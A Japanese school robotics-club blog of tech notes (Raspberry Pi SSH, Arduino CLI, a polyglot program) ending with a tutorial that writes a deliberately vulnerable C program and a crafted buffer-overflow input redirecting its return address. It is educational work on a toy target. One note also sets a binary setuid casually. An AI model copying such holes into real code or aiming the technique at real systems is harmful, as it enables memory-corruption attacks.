ラベル 技術メモ? の投稿を表示しています。 すべての投稿を表示
ラベル 技術メモ? の投稿を表示しています。 すべての投稿を表示

2018/05/27

ラズパイをMacから弄ってみる

こんにちは、(´・ω・`)です。

部活の近況を述べると、つい最近、RCJ世界大会への「べるぬーい」の推薦が決まりました。また、仙台に向け多くの部員が活動中です。

今回は割と既出ネタですが、ラズパイが微妙に流行っているので少し書いてみます。
ちなみにSSH通信です。(VNCはなぜか私の環境では安定しませんでした…。)

・環境
親機側:Macbook Air (OS:High Sierra)
子機側:RasberryPi3(ラズビアンをインストール済み)

・使ったもの

BUFFALO 有線LANアダプター LUA3-U2-ATX

LANケーブル(確かエレコムのものを使用。なんでもいいが、適度に短い方が机上の作業では便利。)

*ちなみにラズパイ内の SSHでのファイル管理にはcyberduckというフリーソフトを使ってます。

1、ラズパイをテレビ(かなんからの液晶)に繋いで起動

2、設定からSSHをオンにする

3、ラズパイを一度シャットダウン

*ここまではPCからでもできなくはないようですが、私はHDMIケーブルを持っていたのでそれを使いました。

4、macを起動しておく

5、パソコンとラズパイを、LANアダプター+LANケーブル経由でつなぐ。

6、ラズパイを起動

7、macのターミナルアプリを起動

8、コマンドに↓を入れ、エンターキーを押す

ssh pi@ラズパイ名.local
*ラズパイ名:初期値では raspberrypi 



9、ラズパイのパスワードを入れる


これでログインできれば、使えるようになります。

あくまで私の環境の場合なので、うまくいかなくても悪しからず。

2017/07/15

GOIGOI

先日、ついにGOIGOIが導入されました!

これですね↓
http://www.originalmind.co.jp/products/goigoi

組み立て前。こんな感じ。





組み立て中…。



ついに完成!



使ってみると、思ってたよりも軽く、切ってる感じがなかったです。(使用感には個人差があります。)

一回でこれぐらいの量が切れます。ハンドニブラと比べて小さめかな。



L字アングルなどの立体的なものには向かないようですが、平面上での加工には役に立ってくれそうです。
棒が出っ張ってるので、通りがかりに当たってしまわないように気をつけなければ…。

2015/06/07

Arduinoをコマンドラインから開発する

最近、Arduinoを入手したときの話。
リポジトリにArduinoの統合開発環境であるArduino IDEがあると聞いて早速入れた。でもコマンドラインから書き込みたかったので方法を模索することに。
とりあえずその際のメモを。(ちなみに筆者の環境はUbuntu 12.04)

まずはArduino IDEが必要になるのでインストール。

apt-get install arduino

リポジトリにあったのはver1.0.5(ちなみに執筆当時の最新版はver1.7.4)
最新版が欲しい方は公式HP http://www.arduino.org/downloadsに置いてあるのでそこからインストール。

次にPythonで書かれたコマンドラインツール Inoをpipでインストール。
これを用いてArduinoに書き込んだりする。

pip ino

サポートされているOSはMacとLinux。(Windows...)
シリアル通信をしたい場合はpicocomが必要となるのでこれまたインストール。

apt-get install picocom

これで準備は整ったので、とりあえずプロジェクトを作る。

mkdir test
cd test
ino init

これでtest下にはlib,srcディレクトリができる。srcにスケッチを書いた後、test下でビルド&書き込みをする。

ino build
ino update

この時、ino build で作成されたファイルは.build/モデル名/以下にできる。

ls .build/uno/

Makefile Makefile.deps Makefile.sketch
arduino firmware.elf firmware.hex src


ちなみに、Arduinoに書き込むのは、firmware.hexファイル。

シリアル通信がしたい場合は、build upload をした後に、

ino serial

を実行する。
buildとupdateをするとき、デフォルトで選択されているArduinoのモデルはArduino Unoなので、それ以外を使う場合はオプションをつける。
モデルのリストは

ino list-models

で確認できる。
例えば Arduino Microが使いたい場合は、

ino build -m micro
ino update -m micro

とオプションをつければOK。
でも、いちいちオプションをつけるのは面倒くさいのでプロジェクトファイルにini.inoまたはホームディレクトリに~/.inorcを作成し、モデル名やシリアルポートを設定する。

[build]
board-model = micro

[upload]
board-model = micro
serial-port = /dev/ttyACM0

[serial]
serial-port = /dev/ttyACM0

ino build ino update だけでビルド&書き込みができるようになった。

これで快適な開発ができるぞー。

参考にしたサイトはこちら
http://www.pwv.co.jp/~take/TakeWiki/index.php?Arduino%E5%8B%89%E5%BC%B7%E4%BC%9A%2F0A-MacOSX%E3%81%B8%E3%81%AEino%E3%81%AE%E3%82%A4%E3%83%B3%E3%82%B9%E3%83%88%E3%83%BC%E3%83%AB%E3%81%A8%E4%BD%BF%E3%81%84%E6%96%B9

http://shokai.org/blog/archives/7454

2014/04/13

Raspberry Piのコンソールを日本語化した際のメモ

sudo dpkg-reconfigure locales
をして,
ja_JP.UTF-8 UTF-8
にチェックをつける.
フォントをググると以下がメジャーらしい.
sudo apt-get install ttf-kochi-gothic xfonts-intl-japanese xfonts-intl-japanese-big xfonts-kaname 
これを実行した後にRictyフォントをインストールする. 私はdebianでコンパイルしたものをscpで~/.fontsにコピーした後,
fc-cache -f -v
を実行した.
日本語に対応するためにuimを入れる.
sudo apt-get install uim uim-anthy
anthyのオンオフのキーマッピングをC-<Space>に変更
sudo vim /usr/share/uim/generic-key-custom.scm

(define-custom 'generic-on-key '("zenkaku-hankaku" "<Shift> ")
(define-custom 'generic-off-key '("zenkaku-hankaku" "<Shift> ")

それぞれを↓のように変更。

(define-custom 'generic-on-key '("zenkaku-hankaku" "<Control> ")
(define-custom 'generic-off-key '("zenkaku-hankaku" "<Control> ")

ついでにcapsもctrlにする.
sudo vim /etc/default/keyboard
# XKBOPTIONS=""
XKBOPTIONS="ctrl:nocaps"            # CapsLock --> Ctrl
# XKBOPTIONS="ctrl:swapcaps"        # CapsLock <-> Ctrl 

と追加して
sudo dpkg-reconfigure -phigh console-setup
を実行する.
ググるとfbtermなるものがよいらしいのでapt-get
sudo apt-get install fbterm
試しにfbtermを実行するとなんかwarningぽいものが出るので
chmod u+s /usr/bin/fbterm
をやった.
最後に,ログインした段階でfbtermを自動起動させるために,.bashrcに以下を追加
case $TERM in
  linux)
    if [ -c /dev/fb0 ]; then
      jfbterm -q -e uim-fep -u anthy
    exit
   fi
   ;;
esac
rebootして,ログインするとfbtermで入ることができた.
参考にしたもの
http://ameblo.jp/mijyu-sakura/entry-11329029030.html
http://shiremono.com/?tag=fbterm
http://blog.michinari-nukazawa.com/2013_03_01_archive.html

2014/04/04

オンラインコンパイラで素敵なプログラミング生活


おはようございます、ただの平部員です。この春、プログラミングしてますか?

この記事では3つのオンラインコンパイラサービスを紹介します。オンラインコンパイラサービスとは、ブラウザから特定のサイトにアクセスすることで、様々なプログラミング言語のソースをコンパイル、実行することが出来るサービスです。
オンラインコンパイラを利用する最大のメリットは、面倒な環境構築を飛ばして手軽に多くのプログラミング言語を試せることです。gccを一晩かけてビルドしたり、依存関係に悩まされたりすることはもはや遠い過去なのです!

1.Wandbox(http://melpon.org/wandbox/)

Wandboxは比較的最近に作られたオンラインコンパイラサービスで、ここが一番のオススメです。Wandboxの一番の強みは各言語の最新のコンパイラを利用できることでしょう。随時更新されるコンパイラ群によって、言語やツールキットの新機能を即座に試すことが可能となります!
また対応している言語も多く、C/C++からD,Haskell,C#をはじめとするコンパイラ言語から、PythonやPerl,PHP,Rubyといったスクリプト言語、さらにはLispも実行することができます。
まずはアクセスして、試してみましょう。左のバーから言語を選び、中央のテキストボックスにソースを入力します。その後[Run]ボタンを押すか[Ctrl]+[Enter]で実行!実行した後はまたソースをいじって再実行することもできますし、パーマネントリンクを作成して公開することも可能です。
パーマネントリンクを作成するには、コードの実行後、結果が表示される所の上にある[Share This Code]ボタンを押しましょう。するとアドレスバーがこのような(http://melpon.org/wandbox/permlink/ky4QUJ4ShBsT6RTJ )URIに変化するのでそれによってあなたのコードを公開することが出来ます。

三へ( へ՞ਊ ՞)へ ハッハッ

2.Ideone(https://ideone.com/)

Ideoneはオンラインコンパイラサービスの中でも有名なところで、ここも多くの言語、環境に対応しています。まず、左下のドロップダウンボックスで言語を選択し、コードを書きます。コードを書き終わったら右の[Run]ボタンを押して実行!画面が遷移するのでそこで結果を確認、またソースをいじって再実行したり、URIを人に教えることでソースと結果を共有したり出来ます。
右上のRecent Codesに飛ぶと最近Ideoneに投稿されたコードを見ることが出来ます。案外ここに上達のヒントや新しいやり方が転がっているかもしれません。Recent Codesに自分の書いたコードを乗せたくない場合は、言語設定の欄の隣にあるボタンで公開設定を決められるので、そこを変更するのがよいでしょう。
ただ若干動作が重いのと、広告がうるさいのが難点です。

3.codepad(http://codepad.org/)

最後に紹介するオンラインコンパイラサービスは、codepadです。codepadは対応言語も少ないですが、シンプルで大変軽量なサービスです。
codepadを使うには左のラジオボックスで言語を選択して、コードを書き、[Submit]で実行です。
出先でも携帯電話でプログラミングしてやるぜーという情熱に燃えた人なんかには便利じゃないでしょうか。

これらのオンラインコンパイラサービスを利用して、いつでもどこでも(Write Anywhere,Run Anywhere)素敵なプログラミング生活を送りましょう!!!

2014/02/05

使っているマイコンのご紹介

高校物理部副部長です。
今回は部活で使われているマイコンを紹介したいと思います。

部活では、以下の三五(17/8/8/1 訂正)種類のマイコンが主に使われています。

・PICマイコン(マイクロチップテクノロジー)
・SHマイコン(日本ルネサス)
・AVRマイコン(アトメル)
・Arduino
・Raspberry pi

まずは、PICです。いくつかの種類が使われていますが、一番多いのはdsPIC30F4013です。
PIC18F1320は新入生が最初に作るライントレース機のマイコンに使われるので、うちの部活に入ったら一回は使うマイコンだったりもします。
ちなみに過去、PIC12F、PIC16F、PIC18F、dsPIC30F、dsPIC33Fがロボコンで使われたことがあります。

次にSH7125Fです。
たいてい、クロックは50Mhzで動かしており、処理速度は65MIPSだそうです。
部内のはんだ力は5くらい[要出典]なので、秋月の基板にくっついたやつ(1500円)を使います。
ただ、部内では最盛期は過ぎてしまいました。

そしてAVR。新興勢力です。
姉妹校・渋谷教育学園渋谷中高科学部の主力ですが、ぶっちゃけピン数とデータメモリ容量の少なさがネックになって、幕張中高ではあまり使われてないです。

Arduinoも使っている人はいるにはいる、の程度です。

そういえばArduino、みなさんなんて呼ぶのでしょうか。
部内では「アルディーノ」もしくは「アルデュイーノ」と呼ばれています。

2013/04/22

【副部長の】はじめてのpolyglot【不定期連載】

言語はCとrubyとpython


#define p
#define M 0;k,j,b[600];main(i){for(;i++<24;)for(k=1;i*k++<600;)b[i*k]=1;for(;j++<542;)b[j]||printf("%d\n",j);}m
i=M=0;
#if 0
print"2\n3\n5\n7\n11\n13\n17\n19\n23"
'''a'
=begin
'a'''
p=7;
s='111@A\"1A1!a1A21@P1S02#2112a!aP2AA22PPA213AA34'
m='Y$s\x15\x15C*iV\'Tp\x0d'
P=[1if int(z)==1 else-1for z in list(''.join([y if len(y)==7 else'0'*(7-len(y))+y for y in[bin(ord(x))[2:]for x in list(m)]]))]
for c in [ord(x) for x in list(s)]:
 print p*4+P[i]
 p+=(c>>4)-2
 i+=1
 print p*4+P[i]
 p+=c&15
 i+=1
print p*4+P[i]
'''a'
=end
print"\n"
2.step(542,1){|a|$M=0;2.step(23,1){|b|if a%b==0then$M=1;break;end};if$M==0then p a end};
'a'''
#endif

解説は後で書く.

まず,C言語の説明からしたいと思います.
このソースをプリプロセスにかけると以下のようになります.

i=0;k,j,b[600];main(i){for(;i++<24;)for(k=1;i*k++<600;)b[i*k]=1;for(;j++<542;)b[j]||printf("%d\n",j);}m=0;

次に,整形して見やすくします.

k,j,b[600];
main(i) {
    for(;i++<24;) {
        for(k=1;i*k++<600;) {
            b[i*k]=1;
        }
    }
    for(;j++<542;) {
        b[j]||printf("%d\n",j);
    }
}

i=0;m=0は必要無いので削除してしまいました.
この時点のコードで,解説に入っていきたいと思います.
まず,変数宣言ですが,グローバル変数は型名を宣言しないとintになり,さらに0に初期化されることを利用して,型宣言,初期化の代入を省いています.
main(i)のiですが,main関数の引数にはint argcが入ることを利用し,また型宣言がないと型がintになることを利用して,int iを宣言しています.
初期化は,argcは引数を指定せずにプログラムを実行すると1が入ることを利用して,実行すると1が入る仕組みになっています.

アルゴリズムは単純なエラトステネスの篩です.

最初の二つのfor文でふるい分けをしています.
外側のfor文で2から24までの数をiに代入し,内側のfor文でi*2以降の全ての倍数にフラグを立てています.
高速化の面ではきちんと素数の倍数でフラグを立てるべきですが,倍数の倍数でも別に結果には変わりないので省いています.
外側のfor文の条件でi++<24となっているのは,プログラムを実行したときiに1が入ってしまうので,i<24を比較した後に後置インクリメントでi+=1をしています.
 このようにすることで,i<24を比較した後,内側のfor文に入る前にiが2になってくれます.
内側のfor文でiの倍数にフラグを立てています.
このfor文も比較の時はkの値をそのまま使って,中の文に入る前にk+=1をしています.
このようにしないと,iが素数の場合,for文のb[i*k]=1;がb[i*1]=1;となってしまい,iは素数であるにも関わらず,b[i]が1になってしまいます.

 次のfor文で素数の出力をしています.
for文の中身はb[600]を順番に542まで調べて,b[j]==0の時のみprintfしています.
C言語の論理積と論理和,つまり&&と||はそれぞれ次のような特徴があります.

論理積は (expr_1&&expr_2&&…&&expr_N) と書くとき,expr_nが偽ならそれ以降,つまりexpr_n+1以降は評価しません.

また,論理和は (expr_1||expr_2||…||expr_N) と書くとき,expr_nが真ならそれ以降,つまりexpr_n+1以降は評価しません.

このことを利用し,
if(expr_1==0) {
    expr_2;
}
を
expr_1||expr_2;
と書くことができます.
これを利用してフラグが立っていない添字のみを出力しています.

2013/04/08

【副部長の】cygwin&gccを使用したBOFについての紹介【不定期連載】

この記事の環境は以下のものになります.

---

Intel(R) Celeron(R) CPU B820 @ 1.70GHz

MemTotal:        1929584 kB

CYGWIN_NT-6.1-WOW64 version 1.7.17(0.262/5/3) (corinna@calimero.vinschen.de) (gcc version 4.5.3 20110428 (Fedora Cygwin 4.5.3-4) (GCC) ) 2012-10-19 14:39
***gccは嘘

$ gcc -v
組み込み spec を使用しています。
COLLECT_GCC=gcc
COLLECT_LTO_WRAPPER=/usr/local/libexec/gcc/i686-pc-cygwin/4.7.2/lto-wrapper.exe
ターゲット: i686-pc-cygwin
configure 設定: ../gcc-4.7.2/configure --enable-languages=c,c++
スレッドモデル: single
gcc バージョン 4.7.2 (GCC)

---

先日,部活にあったO'REILLYの「C実践プログラミング 第3版」の表紙の,"Why Does 2+2=5986?"を見て,皆と悩んだ結果,49ページにあったサンプルプログラムの結果とわかり,大爆笑したのですが,そのときに興味深い事例が起こったので,記事にしておこうと思います.
まず,cygwin環境で49ページのプログラムを打ち込んで,実行してみます.



#include <stdio.h>
int answer;
int main() {
        answer = 2 + 2;
        printf("The answer is %d\n");
        return (0);
}

$vim answer.c
$gcc answer.c
$ ./a.exe
The answer is 2675740
$

はい,予定通りおかしな値が出力されました.
ちなみに,この数値はスタックトップのconst char*の次の値になっているのですが,今はまだこのことはスルーして大丈夫.
で,アイム オン ザ チョーシ,調子に乗って何回か連続して実行すると,

$ ./a.exe
The answer is 2675740
$ ./a.exe
The answer is 2675740
$ ./a.exe
The answer is 2675740
$ ./a.exe
The answer is 2675740
$

NaNということでしょう,いつも同じ値が表示されてしまっているではありませんか!
これはASLR(Address Space Layout Randomization)が効いてない予感

ということで,こんなのを作成.


#include <stdio.h>
#include <stdlib.h>

void func(void) {
        printf("hack\n");
        exit(0);
}

int main(void) {
        printf("func = %08p",func);
        return 0;
}


$vim answer.c
$gcc answer.c
$./a.exe
func = 0x4010f0
$./a.exe
func = 0x4010f0
$./a.exe
func = 0x4010f0
$./a.exe
func = 0x4010f0

やっぱり,固定アドレスだーー

そうとわかったら次にすることはただ1つ,bof(Buffer Over Flow)しなイカ?



#include <stdio.h>
#include <stdlib.h>

void func(void) {
        printf("hack\n");
        exit(0);
}

int main(void) {
        char stk[16];
        printf("func = %08p",func);
        gets(stk);
        printf(stk);
        puts("");
        return 0;
}


このコードには脆弱性がたくさんあります.全部わかるかな?
レッツ,コンパイル アンド ラン

$ ./a.exe
func = 0x4010f0
123456789012345
123456789012345
$

はい,正常終了しました.当たり前ですね.
stkのサイズが16なので,NUL文字を除いて15文字以内なら正常にechoするプログラムとなっております.
では,16文字以上を打ち込んでみましょう.

$ echo -e "123456789012345678901234567" | ./a.exe
func = 0x4010f0
123456789012345678901234567
$

ここまでセーフ.

$ echo -e "1234567890123456789012345678" | ./a.exe
func = 0x4010f0
1234567890123456789012345678func = 0x4010f0
1234567890123456789012345678:v
$

どうやら,28文字以上で挙動がおかしくなるようです.

この違いは,main関数がreturnするときに正常にreturnできているか,いないかの違いです.
return addressが変わると,予期せぬ事態が発生します.
この場合,予期せぬ動作が,

func = 0x4010f0
1234567890123456789012345678func = 0x4010f0
1234567890123456789012345678:v
$

の

func = 0x4010f0
1234567890123456789012345678func = 0x4010f0
1234567890123456789012345678:v

$

に表れています.
では,なぜreturn addressが変わってしまったのか,原因を探っていきましょう.
stkのサイズが16なので,入力する文字が15文字以下のときプログラムが正常に動作することが保障されています.
しかし,16文字を超えて入力したことで,プログラムが異常動作したものと思われます.
ここで,28文字という数値が意味を持ってきます.
実行中のプログラムが使っているメモリの状況は,おおよそこんな風になっているはずです.

<-下位アドレス________上位アドレス->



[....~~~~~~~~................................]
 ^^^^________^^^^^^^^^^^^^^^^        ~~~~^^^^
 $esp 数値__ stk[16]---------________sfp return address
<-スタックトップ________スタックボトム->
.が1バイト
^^^^が4バイト



28文字入力すると,29文字目に\0が追加されるため,return addressの上位1バイトが0x00になってしまいます.
こうなった結果,main関数がreturnするときに間違ったアドレスにreturnしてしまうため,上記のような結果になったと考えられます.
実際に文字列を入力した直後のスタックを見ると,このようになっているのがよくわかると思います.

(gdb) b main
Breakpoint 1 at 0x40111c: file answer.c, line 8.
(gdb) r
Starting program: /home/user/programming/scratch/a.exe
[New Thread 4600.0xbe8]
[New Thread 4600.0xa4c]

Breakpoint 1, main (argc=1, argv=0x28ac50) at answer.c:8
8               printf("func = %08p\n", func);
(gdb) n
func = 0x4010f0
12              gets(stk);
(gdb) n
123456789012345678901234567
13              printf(stk);
(gdb) n
17              return 0;
(gdb) x/16x $esp
0x28ac00:       0x0028ac10      0x004010f0      0x0028ac48      0x49435341
0x28ac10:       0x34333231      0x38373635      0x32313039      0x36353433
0x28ac20:       0x30393837      0x34333231      0x00373635      0x6100763a
0x28ac30:       0x00000001      0x0028ac50      0x200280e8      0x2003ab8f
(gdb) n

ということで,return addressは 0x6100763a だとわかりました.
ところで,(int *)(0x28ac10)になにやら怪しい文字列があるのに気づきましたか?
0x28ac10:       0x34333231      0x38373635      0x32313039      0x00353433
これを(char *)(0x28ac10)として解釈すると,"123456789012345\n"という文字列が見えてきます.
これがstk[16]の実態なのです.
アドレスに注目すると,アドレスの大きいほうに入力した文字列が配置されていくことがわかります.
これを伸ばしていけば,いずれmainのreturn addressを変えることが出来るはずです.
実際に書き換えた結果が,28文字入力したときの誤作動となったわけです.
ここまでわかっているのなら,後は簡単です.
うまく文字数と書き込む文字を調節して,return addressを書き換えてみましょう.
前の実験から,funcのaddressは0x4010f0で固定,main関数のreturn addressを書き換えるために必要な文字数は28文字+アドレスを書き換える文字数4字なので,32文字になります.(この環境はsizeof(void*)が4となる環境です).
では,早速32文字打ち込んでreturn addressを書き換えてみましょう.
入力する文字列の28文字までは使用しないので適当にうめて,29文字以降にアドレスを埋め込みます.
ここで注意してほしいのが,return addressをintで表記していて,なおかつこの環境はリトルエンディアンなので,実際にメモリに配置されている値は0xf0 0x10 0x40 0x00になります.
さらに,getsで取得した文字列の末尾には\0が入ることを利用して,28~31文字目に0xf0 0x10 0x40という文字列にすれば,0x00が末尾に勝手に入ってくれるので,結果的に上記のメモリ配置になります.
これに注意して,"123456789012345678901234567\xf0\x10\x40"のような文字列を入力すれば,funcが実行されるはずです.
やってみましょう.

$echo -e "1234567890123456789012345678\xf0\x10\x40" | ./a.exe
func = 0x4010f0
1234567890123456789012345678▒@hacked

成功です.
funcという関数は一回も呼び出していないのに,なぜかhackedという文字が出力されてしまっています.
これが,bof(buffer over flow)という脆弱性です.